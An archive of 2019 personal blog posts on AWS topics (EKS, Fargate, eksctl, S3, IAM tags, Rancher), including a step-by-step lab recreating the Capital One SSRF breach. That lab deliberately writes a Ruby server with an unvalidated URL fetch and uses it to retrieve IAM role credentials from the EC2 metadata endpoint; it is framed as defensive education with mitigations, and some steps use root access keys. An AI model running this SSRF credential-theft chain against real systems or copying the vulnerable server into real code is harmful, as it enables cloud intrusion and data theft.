Monday, December 9, 2019

Running Containers on K8S using AWS Fargate

Container orchestration is all in hype. And there are different ways of running containers on AWS, using either EKS or ECS. EKS uses K8S behind the scenes and ECS uses AWS proprietary technologies.With EKS it's easy to migrate containers from one Cloud to another, but not with ECS. In fact Google Cloud Anthos makes it easy to manage K8S across Clouds and on premise.

With the EKS, AWS has announced Managed Node Groups which takes away the burden of maintaining the K8S worker nodes. In the recent re:Invent 2019 AWS announced another exiting feature around EKS. Now, it's possible to run EKS the Fargate way as mentioned in the above diagram as Option 3. The rest of the options had been there for some time. AWS Fargate follows the serverless pattern and there is no need to think in terms of number of EC2 and size of them. All we need is to create an EKS Cluster and run the Pods on them. We exactly pay for the vCPU and Memory resources consumed by the Pods.

Here are the steps for creating an AWS EKS Cluster using the eksctl via Fargate approach.

Step 1: Create an Ubuntu EC2 Instance (t2.micro) and connect to it. On this Instance we would be running the eksctl and other commands for creating the AWS EKS Cluster.

Step 2: Execute the below commands on Ubuntu to create key pairs and install AWS CLI, aws-iam-authenticator, kubectl and eksctl softwares.

#installation of the required software
curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add -
echo "deb https://apt.kubernetes.io/ kubernetes-xenial main" | sudo tee -a /etc/apt/sources.list.d/kubernetes.list

sudo apt-get update
sudo apt-get install -y python3-pip kubectl

pip3 install awscli --upgrade
export PATH="$PATH:/home/ubuntu/.local/bin/"

curl --silent --location "https://github.com/weaveworks/eksctl/releases/download/latest_release/eksctl_$(uname -s)_amd64.tar.gz" | tar xz -C /tmp
sudo mv /tmp/eksctl /usr/local/bin

Step 3: Get the access keys for the root and provide them using the `aws configure` command.

Step 4: From here on use the steps mentioned in AWS Blog 'Amazon EKS on AWS Fargate Now Generally Available'.

Note that there is a cost associated for running the EKS K8S Cluster and also for the NAT Gateway which is part of the VPC created in the above steps mentioned in the AWS Blog (Step 4). Also, make sure to delete the EKS Cluster and any other AWS resources created as part of the sequence of steps.

Friday, November 29, 2019

Changes to the AWS EC2 Instance Metadata Service (IMDS) around the recent Capital One hack

Captial One Bank (1) and 30 different organizations were hacked around end of July, I have written a blog (1) around the same time on how to recreate the hack in your own AWS account and also a few mitigations around the same. Now, AWS has made a few changes to the AWS EC2 Instance Metadata Service (IMDS) around the same (1, 2). Here (Security best practices for the Amazon EC2 instance metadata service) is the AWS re:Invent 2019 session around the same.

The old/existing approach is called IMDSv1 and the new one IMDSv2. Although IMDSv1 solves a few problems like not storing the access keys on the EC2, it bought its own headaches which lead to the hacks. Earlier the access keys for a IAM Role can be got using the below command. But, with the new IMDSv2 the same command would lead to `401 - Unauthorized` error after enabling IMDSv2. This would block SSRF and other such attacks.

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/Role4EC2-MetaDataMod

Lets try to see it in action with the sequence of steps.

Step 1: Create an Ubuntu EC2 (t2.micro) and login to it via Putty.

Step 2: Create a role (Role4EC2-MetaDataMod) with the below JSON Policy (MetaDataModPolicy). Attach the role to the EC2.

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "ec2:ModifyInstanceMetadataOptions",
            "Resource": "*"
        }
    ]
}

Step 3: Execute the below commands on the EC2 instance to configure the AWS CLI.

sudo apt-get update; sudo apt-get install -y python3-pip
pip3 install awscli --upgrade
export PATH="$PATH:/home/ubuntu/.local/bin/"

Configure the AWS CLI, make sure to provide only the region (us-east-1 or some other) and rest of them as blank.

aws configure

Step 4: Execute the below command on the EC2 instance to get the access keys associated with the IAM Role. The access keys would be displayed in the console.

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/Role4EC2-MetaDataMod

Step 5: Turn off IMDSv1 executing the below command on the EC2 instance, by default both (IMDSv1 and IMDSv2) of them are turned on. Make sure to replace the EC2 instance-id in the below command. With this IMDSv1 is disabled and IMDSv2 is enabled. If IMDSv1 and IMDSv2 both should be enabled for the sake of compatibility with the existing applications the http-token can be set to optional. More on the command syntax and the documentation here.

aws ec2 modify-instance-metadata-options --instance-id i-053cb17f19ca95067 --profile default --http-endpoint enabled --http-token required

Step 6: Now the same command from Step 4 leads to `401 - Unauthorized` error message. as shown in the below screen.


Step 7: With the IMDSv2 a session token has to be got via the HTTP PUT method and then the token used to retrieve the access keys or in-fact with any of the EC2 Instance Metadata Service.

TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
echo $TOKEN
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/Role4EC2-MetaDataMod -H "X-aws-ec2-metadata-token: $TOKEN"

Now the access keys can be got as shown in the below screen.


How IMDSv2 would prevent the hack from happening?


IMDSv2 would not prevent hacks like the Capital One hack from happening, but it addresses many misconfigurations and application bugs to some extent. There might be still a probability that a WAF is not configured properly to block the HTTP PUT requests with a bug in the application code to get the IMDS token and access the EC2 Metadata Service form outside the EC2.

For those who are hosting applications on AWS, would recommend enabling IMDSv2 and disabling IMDSv1 as mentioned here (1, 2, 3). But, before making the changes make sure the applications on AWS EC2 are compatible with IMDSv2. There won't be any changes required for any applications using the AWS SDK as this internally gets the token and then accesses the EC2 Instance Metadata Service using the token. But, if your application accesses the EC2 Instance Metadata Service using the HTTP endpoint as in the case of Step 4, it would require changes to the code to get the token.

This is a nice step from AWS, but it took more than 100 days for them to come up with a solution to block more such attacks. GCP has also the instance metadata service (1), not really sure if the same vulnerability is in GCP also and how GCP handles it. If you are familiar with how GCP tackles it, please let me know in the comments section and I will update this blog.

Along, the same lines AWS also introduced managed WAF rules (1) to avoid similar attacks.

Thursday, November 28, 2019

Creating a K8S Cluster on AWS using eksctl

As mentioned in the official K8S documentation (1), there are different ways of setting up K8S, some used for learning purpose and some for production setup. Same is the case, there are different ways of setting up K8S on AWS (1). Today we will explore setting up using the eksctl way (1) which is kinda easy. There are lot of tools which make the K8S installation easier, but if you are looking on how to build from scratch then K8S the hard way (1) is the way to go. This will also help with the CKA certification (1).

As of this writing AWS EKS charges $0.20 per hour for each Cluster created, this is independent of the worker nodes in the Cluster. And there is a separate charge for EC2 and EBS for the worker nodes. As the Cluster charges are flat, there is no way to optimize it. So, I used a t2.micro for the worker nodes to optimize the cost. But, it didn't work out as t2.micro supports a maximum of 2 network interfaces and 2 IPv4 addresses per network interface (1). This boils to the fact that t2.micro can have maximum of 4 IP addresses.

Whenever a new Pod is created on the worker node, AWS allocates a new IP address from the VPC subnet. As mentioned above, t2.micro can have a maximum of 4 IP address, one of which is attached  to the EC2 itself. There are 3 more IP address left, which can be allocated to the Pods on the worker nodes. This makes is difficult to use the t2.micro EC2 Instance which falls under the AWS free tier, as some of the pods are used by K8S installation itself. The below steps would be using a single EC2 Spot Instance (t3.small or t2.medium) for the worker nodes.

Also, AWS has recently introduced managed Node Groups (1). With this most of the grunt work like upgrading K8S on the worker nodes is managed by AWS with no additional cost. So, we have node-groups which have to be managed by the customer and the new managed-node-groups which are managed by AWS.

Node-groups had been there for some time and support EC2 Spot Instances, but managed-node-groups is relatively new and looks like it doesn't support the EC2 Spot Instances as of now.

Here are the steps for creating an AWS EKS Cluster using the eksctl. References (1, 2, 3)

Step 1: Create an Ubuntu EC2 Instance (t2.micro) and connect to it. On this Instance we would be running the eksctl and other commands for creating the AWS EKS Cluster.

Step 2: Execute the below commands on Ubuntu to create key pairs and install AWS CLI, aws-iam-authenticator, kubectl and eksctl softwares.

#generation of ssh keypairs to be used by the worker K8S Instances
ssh-keygen -f .ssh/id_rsa

#installation of the required software
curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add -
echo "deb https://apt.kubernetes.io/ kubernetes-xenial main" | sudo tee -a /etc/apt/sources.list.d/kubernetes.list

sudo apt-get update
sudo apt-get install -y python3-pip kubectl

curl -o aws-iam-authenticator https://amazon-eks.s3-us-west-2.amazonaws.com/1.14.6/2019-08-22/bin/linux/amd64/aws-iam-authenticator
chmod +x ./aws-iam-authenticator
sudo mv ./aws-iam-authenticator /usr/local/bin

pip3 install awscli --upgrade
export PATH="$PATH:/home/ubuntu/.local/bin/"

curl --silent --location "https://github.com/weaveworks/eksctl/releases/download/latest_release/eksctl_$(uname -s)_amd64.tar.gz" | tar xz -C /tmp
sudo mv /tmp/eksctl /usr/local/bin

Step 3: Get the access keys for the root and provide them using the `aws configure` command.

Step 4: Create a cluster.yaml file for a nodegroup or managed nodegroup and start creating the Cluster. The yaml configuration file for both of them has been mentioned below. It would take 10-15 minutes time. This configuration will use existing VPC, note to change the availability zone and subnet-id in the yaml to where the worker nodes have to be deployed.

eksctl create cluster -f cluster.yaml

Check the number of nodes in the cluster.

kubectl get nodes

Once the cluster has been created the below command can be used to login to each of the worker nodes. Make sure to replace the EC2 IP of the worker nodes.

ssh -i ./.ssh/id_rsa ec2-user@3.81.92.65

Step 5: Create a deployment with 2 ngnix pods and get the pod details.

kubectl run nginx --image=nginx -r=2
kubectl getpods -o wide

Step 6: Delete the Cluster. Again, the deletion of the Cluster would take 10-15 minutes of time. The progress would be displayed in the console.

eksctl delete cluster --wait --region=us-east-1 --name=praveen-k8s-cluster

Step 7: Make sure to terminate the EC2 Instance created in Step 1.

# An example of ClusterConfig showing nodegroups with spot instances
---
apiVersion: eksctl.io/v1alpha5
kind: ClusterConfig

metadata:
    name: praveen-k8s-cluster
    region: us-east-1

vpc:
  subnets:
    public:
      us-east-1a: { id: subnet-32740f6e }
      us-east-1b: { id: subnet-78146a1f }
      us-east-1c: { id: subnet-16561338 }

nodeGroups:
    - name: ng-1
      ssh:
        allow: true
      minSize: 1
      maxSize: 2
      instancesDistribution:
        instanceTypes: ["t3.small", "t3.medium"]
        onDemandBaseCapacity: 0
        onDemandPercentageAboveBaseCapacity: 0
        spotInstancePools: 2

# An example of ClusterConfig showing managed nodegroups with spot instances
---
apiVersion: eksctl.io/v1alpha5
kind: ClusterConfig

vpc:
  subnets:
    public:
      us-east-1a: { id: subnet-32740f6e }
      us-east-1b: { id: subnet-78146a1f }
      us-east-1c: { id: subnet-16561338 }

metadata:
    name: praveen-k8s-cluster
    region: us-east-1

managedNodeGroups:
  - name: managed-ng-1
    instanceType: t3.small
    minSize: 1
    maxSize: 1
    desiredCapacity: 1
    volumeSize: 20
    ssh:
      allow: true

Screen shots from the above sequence of steps


1. eksctl uses CloudFormation templates to create the EKS Cluster and the NodeGroup. The status of the Stack creation can be monitored from the CloudFomation Management Console.


2. The above mentioned CloudFormation templates create a  EKS Cluster and the NodeGroup as shown in the below EKS Management Console.




3. One of the EC2 Instance was created in Step 1. Other one was created by eksctl for the NodeGroup worker nodes.


4. Interaction with the Cluster using kubctl to
     - get the nodes
     - create a deployment and get the list of pods


 5. Finally, deletion of the EKS Cluster and the NodeGroup.


Conclusion


As shown above eksctl provides an easy way to create a K8S Cluster in the AWS easily. The same thing can be done with the AWS Management Console also (1). Doing with the AWS Management Console is more of a manual way, which gives us clarity on the different resources getting created and how they interact with each other.

Monday, November 25, 2019

Interacting with AWS S3 using Java on EC2

Many web applications are being built on top of the Cloud Infrastructure. Let's take the case of a photo sharing website like Instagram. The website can be deployed on EC2 and let it interact with S3 to store the pictures. Building a full fledged photo sharing website is beyond the scope of this blog, but we will explore how to execute a Java program on top of EC2 to interact with S3.


Here are the sequence of steps with the assumption that the reader is familiar with the basics of AWS. Also, all the steps in this blog will fall under the free tier.

Step 1: Create an Ubuntu EC2 instance (t2.micro) and connect to it via Putty or any other means. For the EC2 SecurityGroup the port 22/SSH has to be opened in the inbound.

Step 2: Get the list of softwares and install maven, java-common by executing the below commands on Ubuntu EC2 instance.
sudo apt-get update
sudo apt install maven java-common

Step 3: By default EC2 has no permission to interact with S3 or in fact with any other service. Create a role with AmazonS3FullAccess policy attached. This policy gives full permissions to all the folders and files in S3, which is not recommended. It's always best to give limited privileges by creating a custom policy and attaching it to the EC2.

Step 4: Attach the policy to the EC2. Now the EC2 has permissions to interact with S3.

Step 5: Get the link to the latest Amazon Corretto Java from this link and replace the link in the below wget command. Execute the wget commands in the Ubuntu EC2 to download Amazon Corretto Java. OpenJDK or Oracle JDK can also be used.

wget https://d3pxv6yz143wms.cloudfront.net/11.0.5.10.1/java-11-amazon-corretto-jdk_11.0.5.10-1_amd64.deb

Install Amazon Corretto Java on Ubuntu using the dpkg command as an administrator.

sudo dpkg --install java-11-amazon-corretto-jdk_11.0.5.10-1_amd64.deb

Step 6: Create basic maven package using the below command. This will create a myapp folder with pom.xml, App.java and other artifacts.

mvn -B archetype:generate \
  -DarchetypeGroupId=org.apache.maven.archetypes \
  -DgroupId=org.example.basicapp \
  -DartifactId=myapp
 
Step 6: In the myapp folder, remove the pom.xml and replace with pom.xml mentioned here. Replace the exec-maven-plugin (1) and aws-java-sdk (1) versions with the latest versions got from the maven repository in the pom.xml file.

Step 7: Remove the App.java file created by maven.

cd /home/ubuntu/myapp/src/main/java/org/example/basicapp
rm App.java

Create a file by the S3Sample.java with the java program mentioned here in the above folder.

Step 8: Execute the below commands to compile the S3Sample.java program and execute it.

cd ~/myapp
mvn clean compile exec:java

Step 9: Note that interaction with the S3 happening in the output of the above command towards the end as shown below. A bucket is created in S3, a file uploaded/downloaded. The S3 cleanup is also done in the Java program, so when seen in the S3 Management Console there won't be any changes.

Modify the Java program not to do the S3 cleanup and the changes done by the Java program can be seen in the S3 Management Console.

Friday, November 22, 2019

How to integrate different AWS services to create interesting applications?

Cloud (AWS or any other) provides a cost efficient and quicker approach of deploying applications. For this AWS provides a myriad of services including EC2, S3, RDS, Rekognition and many more. Each of these individual services are powerful enough. For ex., EC2 provides virtual servers from 1/2 GB (t2.nano) to 3,904 GB (x1e.32xlarge) of RAM. The high end memory instances are used for in-memory databases and analytics. What makes AWS more powerful is integrating these services to meet the business requirements and save cost.

The below web architecture uses WAF, CloudFront, ELB, EC2, EBS, RDS and Auto Scaling services. The architecture can also use Serverless technologies like Lambda, DynamoDB and others to make the application easy to develop/maintain, highly available and scalable.


This blog is all about references with detailed instructions on how to integrate different AWS services to build very interesting applications. It would be a good learning experience for those who are getting started with AWS to try the below and figure out what AWS has to offer.

Architect an Airline Booking Application, End-to-End (incomplete article, but interesting one)

Controlling your AWS costs by deleting unused Amazon EBS volumes

Creating image thumbnails using Lambda and S3 (Serverless)

Converting Airline dataset from the row format to columnar format using AWS EMR

Processing the Airline dataset with AWS Athena

Exploring images on social media using Amazon Rekognition and Amazon Athena

Creating an Amazon Rekognition Lambda Function for video label detection

How to Optimize and Visualize Your Security Groups

Build a Serverless Web Application

How to add file upload features to your website with AWS Lambda and S3

Build a Modern Web Application

Error Processor Sample Application for AWS Lambda

Enable RESTful API to manage the Wild Rydes Unicorn Stable

Serverless Image Handler

How AWS built a production service using serverless technologies

Building a serverless weather bot with two-way SMS, AWS SAM, and AWS Lambda

Please add any additional references in the comments and I would be adding them here.

Thursday, August 15, 2019

How the Capital One hack was achieved in the AWS Cloud?

DISCLOSURE : The intention of this blog is NOT to help others hack, but to make sure they can secure their applications built on top of AWS or some other Cloud. A few mitigations to fix the SSRF vulnerability and others have been mentioned towards the end of the blog.

Also, AWS has made changes (19/Nov/2019) to EC2 Instance Metadata Service around the same. I have blogged about it here. Would recommend to go through this article and the other one as a followup on the same.

Introduction

Capital One hosted their Services on AWS and it was hacked (1, 2, 3). Data was downloaded from AWS S3. It's a feature in AWS which was exploited and a misconfiguration done by the Capital One which caused the hack by an ex-AWS employee. The information about the hack was every where in the news, but it was all in bits and pieces. It took me some time to recreate the hack on my own AWS Account. This blog is about the sequence of steps to recreate the same hack using and in your AWS account.

I came across the SSRF vulnerability recently, but looks like it had been there for ages, still the different organizations using the AWS Cloud didn't patch the vulnerability. The hacker was able to get the data from 30 different organizations. Hope this documentation will help a few to fix the hole in some applications and also to design/build secure applications.

Here I am going with the assumption that the readers are familiar with the different AWS concepts like EC2, Security Group, WAF and IAM. And also that they have an account with AWS. The AWS free tier should be good enough to try the steps.


Steps to recreate the Capital One hack

Step 1: Create a Security Group - Open Port 80 for HTTP and Port 22 for SSH. Open it for MyIP using the Source IP.

Step 2: Create an Ubuntu EC2 instance of t2.micro and login via Putty. Attach the above Security Group to the Ubuntu EC2 Instance.

Step 3: Create an IAM role (Role4EC2-S3RO) with AmazonS3ReadOnlyAccess policy and attach the IAM role to the above Ubuntu EC2 instance. Attach a policy with very limited privileges like S3 RO or something else, behind which there is no critical data.

Step 4: Test the below curl command in the Ubuntu EC2 Instance to get the IAM Role credentials via EC2 Metadata Service.

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/Role4EC2-S3RO

Step 5: Install Ruby and Sinatra on the Ubuntu EC2 instance. The last command will takes a few minutes for execution.

sudo apt-get update
sudo apt-get install ruby
sudo gem install sinatra

Step 6: Create server.rb file with the below content on the Ubuntu EC2 instance. This will create a webserver. The server takes a URL as input, opens the same and sends the URL content as the output to the browser. The input URL is never validated in the below code, so we should be able to get to an internal network URL also, so was the hack.

require 'sinatra'
require 'open-uri'

get '/' do
  format 'RESPONSE: %s', open(params[:url]).read
end

The above program goes in an infinite loop. So, another Putty session has to be opened to execute the below commands.

Step 7: Get the Private IP of the Ubuntu EC2, use the same in the below command and execute it in Ubuntu EC2 instance. This will start the webserver using the above Ruby program.

sudo ruby server.rb -o 1.2.3.4 -p 80

Step 8: Run the below command in Ubuntu EC2 Instance. Make sure to replace the 5.6.7.8 with the Public IP of the Ubuntu EC2 instance. The server.rb will call google.com and return the response.

curl http://5.6.7.8:80/\?url\=https://www.google.com/

Now, run the below command. Make sure to replace the 5.6.7.8 with the Public IP of the Ubuntu EC2 instance. Notice the Access Keys of the role attached to the Ubuntu EC2 Instance are displayed as the response to the below command.

curl http://5.6.7.8:80/\?url\=http://169.254.169.254/latest/meta-data/iam/security-credentials/Role4EC2-S3RO

Step 9: Open the below URL in a browser from your machine, to get the Access Keys of the IAM Role displayed in the browser.  Make sure to replace the 5.6.7.8 with the Public IP of the Ubuntu EC2 instance.

http://5.6.7.8:80?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/Role4EC2-S3RO

This is how the Capital One and other organizations got hacked via the SSRF vulnerability. Once the Hacker got the Access Keys via the browser, it's all about using the AWS CLI or SDK to get the data from S3 or somewhere else based on the Policy attached to the IAM Role.

Many times websites ask us to enter our LinkedIn Profile URL or Twitter URL, call the same and get more information about us. The same can be exploited to invoke any other URL to get the details behind the firewall, if the security is not configured properly. In the above command a call is made to the 169.254.169.254 (Internal Network IP) for getting the Credentials via the EC2 Metadata Service.

Step 10: Make sure to terminate the EC2 and delete the role.

Mitigations around the SSRF

Any one of the below steps would have stopped the Capital One Hack or any other.

1. Application code review for the SSRF attacks and perform proper validation of the inputs.

2. Adding a WAF rule to detect "169.254.169.254" string and block the request to reach the EC2 as shown in the diagram at the begning of the blog.

3. Make changes the Ubuntu EC2 Instance to block the calls to 169.254.169.254.
iptables -A OUTPUT -m owner ! --uid-owner root -d 169.254.169.254 -j DROP

4. Use services like AWS Macie to detect any anomalies in the data access pattern and take a preventive action. There are many 3rd party services when integrated with S3, will identify and anomaly in the S3 access patterns and notify us. I haven't worked on such tools.

5. In the case of Captial One, not sure if the EC2 required the AmazonS3ReadOnlyAccess, but it's always better to give the minimum privileges required to any resource.

6. AWS has made changes to EC2 Instance Metadata Service around the same. I have blogged them here.

Conclusion

AWS claims that their systems were secure and that it is do with the misconfiguration of the AWS WAF by Capital One and a few other like giving excessive permissions to EC2 via IAM role. I agree with it, but AWS should also not have left the EC2 metadata service wide open to anyone with access to EC2. Not sure how AWS would fix it, any changes to the EC2metadata interface would break the existing applications using the EC2 metadata service interface. The letter from AWS to US Senator Wyden on this incident is an interesting read.

To blame AWS or Capital One, at the end the customers of the 30 different organizations have to suffer.

References

Retrieving the Role Access Keys via EC2 Metadata

EC2s most dangerous feature

What is Sinatra?

What is SSRF and code for the same

On Capital One from Krebs (1, 2)

On Capital One From Evan (1)

Technical analysis of the hack by CloudSploit

WAF FAQ

Monday, July 1, 2019

How to use Tags in AWS to give resource permissions?

Within AWS we can create multiple resources like EC2, S3, RDS, Lambda etc. After creating the resources, the permissions should be given appropriately. Lets say, we have two servers for Production and two servers for Development, then the users in the Production Group should have the access to the Production Servers and the users in the Development Group should have access to the Development Servers and not the other way. By permission, it can be to view, stop, start, terminate, reboot etc.
 

The same can be achieved using the AWS Service "Identity and Access Management" along with Tags as show in the above diagram.Tags are meta data attached to AWS resources like EC2. Tags have keys and values. For ex., Key can be Env and Value can be Production. We should be able to Tag EC2 instances as Env=Production and give the permissions for Production Group to only the EC2 which have the Tag Env=Production and skip the rest of the EC2.

Here are the steps for the above at a high level.

1) Create an IAM User with no policies attached
2) Create a Policy with the appropriate permissions
3) Create a Group and attach the above Policy to it
4) Add the User to the Group
5) Create two EC2s with the appropriate tags
6) Login as the IAM User and check the actions allowed on the EC2

 

Sequence of steps for setting up access to EC2 Access

Step 1: Create an IAM User

Step 1.1: Go to the IAM Management Console, Click on the Users tab in the left pane and click on "Add User".


Step 1.2: Enter the user name and make sure to select "AWS Management Console Access". Click on "Next Permissions".


Step 1.3: We would be adding the permissions later, for now click on "Next: Tags".


Step 1.4: Tags are optional for a user. So, click on "Next: Review".


Step 1.5: Make sure the user details are proper and click on "Create user". The IAM User will be created as shown in the below screen.



Step 2: Create a policy with the appropriate permissions

Step 2.1: Click on the policies in the left pane and click on "Create policy".


Step 2.2: Click on the JSON tab, enter the below policy and click on "Review policy". The below JSON gives the permission to Stop/Start EC2 instances with a Tag Env=Production, while viewing the description for all the EC2 instances is allowed. The policy was got from here and modified. Here are a lot of sample policies from AWS.

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "ec2:StartInstances",
                "ec2:StopInstances"
            ],
            "Resource": "arn:aws:ec2:*:*:instance/*",
            "Condition": {
                "StringEquals": {
                    "ec2:ResourceTag/Env": "Production"
                }
            }
        },
        {
            "Effect": "Allow",
            "Action": "ec2:DescribeInstances",
            "Resource": "*"
        }
    ]
}

Step 2.3: Give the policy a name and click on "Create policy". The policy should be created as shown below.



Step 3: Create a Group and attach the policy to it

Step 3.1: Click on the Group tab in the left pane and click on "Create New Group".


Step 3.2: Enter the Group Name and click on "Next Step".


Step 3.3: Select the Policy which has been created earlier and click on "Next Step".


Step 3.4: Review the Group details and click on "Create Group".


Step 4: Add the user to the Group

Step 4.1: Select the Group which was created earlier. Click on "Group Actions" and "Add Users to Group" and select the user which was created earlier and click on "Add Users".



Step 5: Create EC2 instances and tag them

Step 5.1: Create two EC2 instances as mentioned here. A smaller instance is recommended as it involves less cost and that we don't be doing any processing in these instances. Click on the Tags tab and click on the "Add/Edit Tags".


Step 5.2: Enter the Tags as shown below and click on "Create Tag". For the other instance specify the Key as Env and Value as Production.


The Tags to the EC2 should appear as below. The Env column won't appear by default. Click on the Gear button on the top right and select the Env to make column visible.


Step 6: Login as the IAM User and check the actions allowed

Step 6.1: Go to the Dashboard in the IAM Management Console and grab the URL. Open the URL in a entirely different browser and enter the credentials for the IAM user.



Step 6.2: Go to the EC2 Management Console. Notice the name of the user logged in the top right as highlighted below. It's the IAM User.


Step 6.3: Select the Development EC2 instance and try to terminate it as shown below. It should lead to an error. This is because the IAM user has only Stop/Start access to EC2 instance which have a Tag Env=Production and nothing else.



Step 6.4: Select the Production instance and try to Stop the instance. The user would be able to as the user has access to Stop/Start any EC2 instance with a Tag Env=Production.


 

Conclusion


Tagging is metadata around AWS resources like EC2, S3, RDS etc. We have seen above on how to use Tagging can be used to group EC2 resources together and give permissions to IAM Users. The same applies to other AWS resources also. Tagging also can be used to segregate the AWS billings lets says across different departments, customers, projects etc. The usage of Tagging is limited just by imagination, the different scenarios and strategies are mentioned in this AWS article.

AWS problem a lot of sample templates here, which can be takes as a reference to build "IAM customer managed" policies as shown above. Also, the schema for the JSON policy is mentioned here.

Wednesday, April 10, 2019

Setting up an AWS EKS Cluster with Rancher

In the previous blog  we explored on setting up an K8S Cluster on the AWS Cloud without using any additional softwares or tools. The Cloud Providers make it easy to create a K8S Cluster in the Cloud. The tough part is securing, fine tuning, upgradation, access management etc. Rancher provides a centralized management of the different K8S Clusters, these can be in any of the Cloud (AWS, GCP, Azure) or In-Prem. More on what Rancher has to offer on top of K8S here. The good thing about Rancher is that's it's 100% Open Source and there is no Vendor Lock-in. We can simply remove Rancher and interact with the K8S Cluster directly.

Rancher also allows creating K8S Clusters in the different environments. In this blog we will look at installing a K8S Cluster on the AWS Cloud in a Quick and Dirty way (not ready for production). Here are the instructions for the same. The only prerequisite is access to a Linux OS with Docker installed on it.

Steps for creating a K8S Cluster on AWS using Rancher


Step 1: Login to the Linux Console and run the Rancher Container using the below command.

sudo docker run -d --restart=unless-stopped -p 80:80 -p 443:443 rancher/rancher


Step 2: Access the Rancher Console in a browser. Click on "Advanced" and then "Accept the Risk and Continue".



Step 3: Setup a admin password to access the Rancher Console.


Step 4: Click on "Save URL".


Step 5: Click on "Add Cluster" and select "Amazon EKS".



Step 6: Select the Region and provide the AWS Access and Secret Key. The same can be generated as mentioned in the "Generate access keys for programmatic access" section here. Click on "Next: Configure Cluster".


Step 7: Click on "Next: Select VPC & Subnet"


Step 8: Click on "Next: Select Instance Options"


Step 9: There is a small catch here. In this screen we specify the minimum and the maximum number of the nodes in the ASG (Auto Scaling Group), but no where we specify the default size to start with. So, when the Cluster is started, it creates 3 EC2 instances by default. There is an issue opened in Github Rancher project for the same and it's still open.

Click on Create.


Step 10: Initially the Cluster will be in a Provisioning State and after 10-15 minutes it will change to Active State.



During the Cluster creation process, the following will be created. The same can be observed by going to the AWS Management Console for the appropriate Service.

          1) CloudFormation Stacks
          2) EC2 instances
          3) VPC
          4) EKS Control Plane

Step 11: Go through the different screens in the Rancher Console.



Step 12: Once you have spend some time with the Rancher Console. Select the AWS Cluster created in the above sequence of steps and delete it. After a few minutes the Cluster should be gone from the Rancher Console.



Step 13: Although Rancher Console says that the Cluster is deleted, there might be some resources hanging in AWS as shown below. Not sure where the bug is. But, if there are any resources in AWS still not deleted they might add to the AWS monthly bill. So, it's always better to the AWS Management Console for CloudFormation, EC2, S3, VPC, EKS and make sure all the AWS resources are deleted.


Conclusion


An AWS EKS Cluster can be easily created using Rancher as mentioned above. The steps are more or less the same for creating a Cluster on Azure and GCP also. Rancher also allows to import an existing K8S Cluster. Once all the Clusters are within Rancher, they can be managed centrally, policies applied etc. It makes it easy when there are multiple K8S Clusters to manage within an organization.

As seen above, there are a few rough edges in the installation process. First, there is no way to mention the default number of EC2 worker nodes in the Cluster. Also, not all the AWS resources are deleted when the EKS Cluster is deleted through Rancher, which might incur additional cost. These things might be fixed in the future releases of Rancher.

Also, note that this is a quick and dirty way of installing K8S Cluster on AWS using Rancher and is not ready for Production, as this particular setup doesn't support High Availability. Here are instructions on how to setup a HA Cluster using Rancher.